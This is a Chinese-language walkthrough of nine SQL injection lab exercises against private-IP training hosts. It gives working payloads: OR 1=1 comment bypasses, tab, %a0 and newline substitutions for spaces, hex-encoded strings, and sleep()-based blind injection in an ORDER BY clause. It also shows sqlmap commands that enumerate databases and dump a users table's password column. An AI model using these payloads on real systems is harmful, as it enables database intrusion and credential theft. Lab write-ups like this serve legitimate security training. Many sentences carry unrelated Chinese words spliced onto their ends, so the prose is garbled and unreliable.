sql injection 1:
這道題木一看就知道是未對root輸入進行凈化或者過濾适袜,因此直接需要閉合標簽再注釋就好了湿右,源代碼如下:
name=root' or 1=1 -- -,其中-- -是mysql的注釋符號坐梯。這樣可以獲取其他用戶的信息,如圖:
還有一點注意的地方在于我們寫符號注意不能開中文輸入法....
然后手工注入的操作就略過了赤赊,因為很熟悉了。
sqlmap實例如下:
sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --dbs --banner
--dbs是列舉數(shù)據庫煞赢, --banner是直接獲取數(shù)據庫banner信息抛计。如下圖:
這里可以繼續(xù)深入進去,學一下sqlmap用法照筑,例如:
sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --current-user獲取當前用戶名吹截,--current-db是獲取當前數(shù)據庫。
sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root"? --table? -D exercises獲取數(shù)據庫表名凝危。
sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root"? --column ? -T? users獲取列名
然后就是脫褲了波俄,直接上 sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --dump -C passwd -T users -D exercises 效果如下:
然后發(fā)現(xiàn)原來sqlmap也能getshell,具體命令如下:
當然最后沒成功,因為路徑不對蛾默,他的路徑不是默認路徑懦铺,需要用字典先去暴。趴生。阀趴。
sql injection 2:
這道題目代碼如下:
本題目主要是針對url中出現(xiàn)的空格做正則表達式匹配,我們主要是要繞過這個限制苍匆,繞過的方式有好幾種:
A:可以通過url編碼tab鍵來進行繞過(就算你改成空格的url編碼%20也會被正則表達式匹配到的刘急,所以要改成其他的來代替空格),tab的URL編碼是%09,因此可以構造payload如下:
http://172.18.139.118/sqli/example2.php?name=root'%09or%091=1%09--%09-,效果如下:
B:將空格換成注釋符號來解決例如把空格換成/**/其他一樣
C:直接使用()來代替空格使用
此外浸踩,對這種情況可以直接由sqlmap解決:
sqlmap -u "http://172.18.139.118/sqli/example1.php?name=root" --tamper=space2comment
sql injection3:
這道題目主要是對所有空格以及和空格相關的符號(例如空格叔汁,tab,換行,中文全角空格等等)都去掉,源代碼如下所示:
遇到這種情況可以采用所謂的url編碼解決据块,我用%a0來代替空格码邻,構造的payload如下所示:
http://172.18.238.200/sqli/example3.php?name=root%27%a0or%a01=1%a0--%a0-,結果如下所示:
當然這里是主要用注釋符號也是可以的另假,直接上/**/來代替就可以了像屋。
sql injection4:
這道題目主要對特殊字符進行轉義,包括\x00, \, \n, \r, ' ,"等
但是這道題目我覺得出的不好地方在于边篮。己莺。。注入點是數(shù)字型參數(shù)戈轿,不需要用到這些字符凌受。。思杯,直接構造payload:http://172.18.238.200/sqli/example4.php?id=2%20or%201=1就ok了胜蛉,如圖
然后看到這里我突然明白為什么要用16進制了,比如說當數(shù)字型注入參數(shù)需要用到 '' 的時候(比如說table_name=''的時候)色乾,可以直接使用16進制誊册,這時候就直接繞過了'以及"的轉義問題。如下:
payload:http://10.10.10.138/sqli/example4.php?id=2%20union%20select%20table_name,2,3,4,5%20from%20information_schema.tables%20where%20table_schema=0x657865726369736573a--%20-
sql injection5:
這道題的過濾條件直接看正則表達式那里杈湾,只要匹配到不是以任意數(shù)字開頭作為參數(shù)的就報錯解虱。
第五題做法同第四,沒啥區(qū)別漆撞。。于宙。浮驳。
sql injection6:
這道題和第五題相反,他的正則表達式匹配id是要以數(shù)字結尾的,所以這種'就不行了捞魁。
sql injection7:
這道題目看了源碼至会,制定id要以數(shù)字或者(-0到9的數(shù)字)然后只匹配一行的數(shù)據進行正則表達式匹配,上圖:
因此我們根據前面的方法構造payload=http://172.18.238.200/sqli/example7.php?id=2
%0aunion select concat_ws(0x07c,id,name,age,groupid,passwd),2,3,4,5 from users%23
即是所有空格都用%0a來代替谱俭,直接就繞過了奉件。
這道題木在sqlmap上遇到點問題,我使用sqlmap -u "http://172.18.238.200/sqli/example7.php?id=2" --dbs 的時候發(fā)現(xiàn)顯示其為靜態(tài)參數(shù)昆著,如下:
但是我在id=2后面加上%0a再跑sqlmap就可以了县貌,后來查到這個叫做sql換行污染,通過用換行%0a代替空格凑懂,再加上其他字符什么的(也可以不要)直接就行了煤痕。
sql injection8:
這道題目直接上源代碼,如下:
從源代碼中可以看到,他是對order后面輸入的內容進行排序摆碉,其中對order輸入的內容還進行了轉義塘匣,在次我們科普一些知識,在正常情況下巷帝,一般而言order by與union是無法一起使用的(不能一個排序另一個不排序還使用union輸出)
然后我們就無法使用聯(lián)合查詢了忌卤,這種情況下很簡單,直接使用盲注不就行了嘛楞泼。
payload:http://10.10.10.138/sqli/example8.php?order=age`%20xor%20if(ascii(substring(database(),1,1))=101,sleep(5),0)%23
一個一個拆解就可以了埠巨。
這道題目無法用sqlmap跑出來,意識到一個問題现拒,畢竟他的閉合是用反單引號的,sqlmap可能沒有這種處理機制辣垒,所以跑不出來。
sql injection9:
這道題目源碼如下所示:
然后與第八道題的差異在于他不需要反單引號閉合印蔬,所以直接使用第八題的payload去掉反單引號就可以了勋桶。
sqlmap直接跑就行:
拖了個庫。侥猬。例驹。